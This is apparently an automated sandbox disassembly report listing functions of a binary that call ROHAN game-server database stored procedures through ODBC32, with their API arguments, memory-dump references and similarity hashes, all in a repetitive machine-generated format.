                                                                                                                            • API String ID: 0-718458878
                                                                                                                            • Opcode ID: 1cb15f114722fd0045b34e40cf07993f8baf009785b29990a6890a2a02a40f65
                                                                                                                            • Instruction ID: 7c72f1a5bb05ad3cb38a3afbcf1ccb9806e3abc73eafc8a7a80d68cea4db9d09
                                                                                                                            • Opcode Fuzzy Hash: 1cb15f114722fd0045b34e40cf07993f8baf009785b29990a6890a2a02a40f65
                                                                                                                            • Instruction Fuzzy Hash: 8B2103F46443146BEB249F44CC52FA97334EB8471CF304289F7186E2C5D7B56A80CB59
                                                                                                                            Function 0042E31F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_DelAffectSkill] (?, ?)},000000FD), ref: 0042E33F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042E37E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042E3B3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042E3EB
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_DelAffectSkill] (?, ?)}, xrefs: 0042E336
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_DelAffectSkill] (?, ?)}
                                                                                                                            • API String ID: 0-1209902986
                                                                                                                            • Opcode ID: ac954836d72ab2c1d9ce2c15af4dd9b6ee609027132b83f6606d1d3eabde852d
                                                                                                                            • Instruction ID: 7d007cab9077208fbd241ce5f218ce8f4a91a7d6cdb3851a0084688327eb9518
                                                                                                                            • Opcode Fuzzy Hash: ac954836d72ab2c1d9ce2c15af4dd9b6ee609027132b83f6606d1d3eabde852d
                                                                                                                            • Instruction Fuzzy Hash: 2D21D0B1A40614BBEB34CF54CC52FAB7374EB44B15F10828BF614BE2C4EAB569408F58
                                                                                                                            Function 0042D4F2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_CreateGuild](?, ?)},000000FD), ref: 0042D512
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042D551
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042D586
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000011,00000000,?,00000012,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042D5BE
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_CreateGuild](?, ?)}, xrefs: 0042D509
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_CreateGuild](?, ?)}
                                                                                                                            • API String ID: 0-3731619118
                                                                                                                            • Opcode ID: 25400ef72ae60b35b10ac756a59aa3a7bc3c53824cec239962395e25acd1899f
                                                                                                                            • Instruction ID: 765e977b5578a8600842d78c10502daf1c85ed079032b6d9a1b41eb8a7f3d5ff
                                                                                                                            • Opcode Fuzzy Hash: 25400ef72ae60b35b10ac756a59aa3a7bc3c53824cec239962395e25acd1899f
                                                                                                                            • Instruction Fuzzy Hash: 502106F1AC021B67EB248F44CC42FBA7374EB44B14F118199F7246F2C5D5B169808B5C
                                                                                                                            Function 004345D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetNGuildWinCount] (?,?)},000000FD), ref: 004345F8
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00434637
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043466C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004346A4
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetNGuildWinCount] (?,?)}, xrefs: 004345EF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetNGuildWinCount] (?,?)}
                                                                                                                            • API String ID: 0-2149905267
                                                                                                                            • Opcode ID: 1af4d88b46235e1af88626fb7d934698f4bcb390a6fcf0a573b8f6c77287fa25
                                                                                                                            • Instruction ID: 5fbe43308dd4599014328381fde5bfd1661b618700f6442405d1d804e4b26825
                                                                                                                            • Opcode Fuzzy Hash: 1af4d88b46235e1af88626fb7d934698f4bcb390a6fcf0a573b8f6c77287fa25
                                                                                                                            • Instruction Fuzzy Hash: F32100B1740315ABEB20CF44CC52FA97334EB45B24F10C289F7186E6C5D9B569409F59
                                                                                                                            Function 004355F6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_CheckMinigameMoneyWeb] (?, ?)},000000FD), ref: 00435616
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00435655
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043568A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004356C2
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_CheckMinigameMoneyWeb] (?, ?)}, xrefs: 0043560D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_CheckMinigameMoneyWeb] (?, ?)}
                                                                                                                            • API String ID: 0-3577433670
                                                                                                                            • Opcode ID: e1ad13cf6e1ac05294e525ce01b1d79597b5cdf442e31343ab3de8726c913043
                                                                                                                            • Instruction ID: 76c4f905595d4063d4bc655ef7d6ee08179cd78ed979f58d67baf50e247ceecd
                                                                                                                            • Opcode Fuzzy Hash: e1ad13cf6e1ac05294e525ce01b1d79597b5cdf442e31343ab3de8726c913043
                                                                                                                            • Instruction Fuzzy Hash: BC2100B1A44214ABEB24DF54CC52FB97734EB84B18F108289F7586E2C4D7B669408F5C
                                                                                                                            Function 0043E60F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetCollectReward](?, ?)},000000FD), ref: 0043E62F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043E66E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043E6A3
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043E6DB
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetCollectReward](?, ?)}, xrefs: 0043E626
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetCollectReward](?, ?)}
                                                                                                                            • API String ID: 0-3049041908
                                                                                                                            • Opcode ID: 57ba5b26057a82974a373ec71f1e944b1259fb879f7b1d3da79dfd58943c16ed
                                                                                                                            • Instruction ID: 1b87a96f01e7ff343cb99f240ae9b5ae02e2ef475dd3700a345560a63b0dbcb1
                                                                                                                            • Opcode Fuzzy Hash: 57ba5b26057a82974a373ec71f1e944b1259fb879f7b1d3da79dfd58943c16ed
                                                                                                                            • Instruction Fuzzy Hash: 0C21E5B1644214BBEB28CF54CC52FE973B4EB88724F204289F7546E2C4D575AD908B58
                                                                                                                            Function 0043370A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_DelLadderQuestState] (?,?)},000000FD), ref: 0043372A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00433769
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043379E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004337D6
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_DelLadderQuestState] (?,?)}, xrefs: 00433721
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_DelLadderQuestState] (?,?)}
                                                                                                                            • API String ID: 0-837079177
                                                                                                                            • Opcode ID: 03d19c10e6079ecb02187bbad13d52db9000632fb53cf01920eddfe64db8c882
                                                                                                                            • Instruction ID: 952eb3473cac48b4786e4cde65f98544a001ad70410e384b9d4dc42b0507887c
                                                                                                                            • Opcode Fuzzy Hash: 03d19c10e6079ecb02187bbad13d52db9000632fb53cf01920eddfe64db8c882
                                                                                                                            • Instruction Fuzzy Hash: F92103B16852556BFB60CF44CC53FAE7335EB84B18F204289F7186E2C6D6B56D808B58
                                                                                                                            Function 004357DA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetNGuildWarItemReward] (?, ?)},000000FD), ref: 004357FA
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00435839
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00435871
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004358A6
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetNGuildWarItemReward] (?, ?)}, xrefs: 004357F1
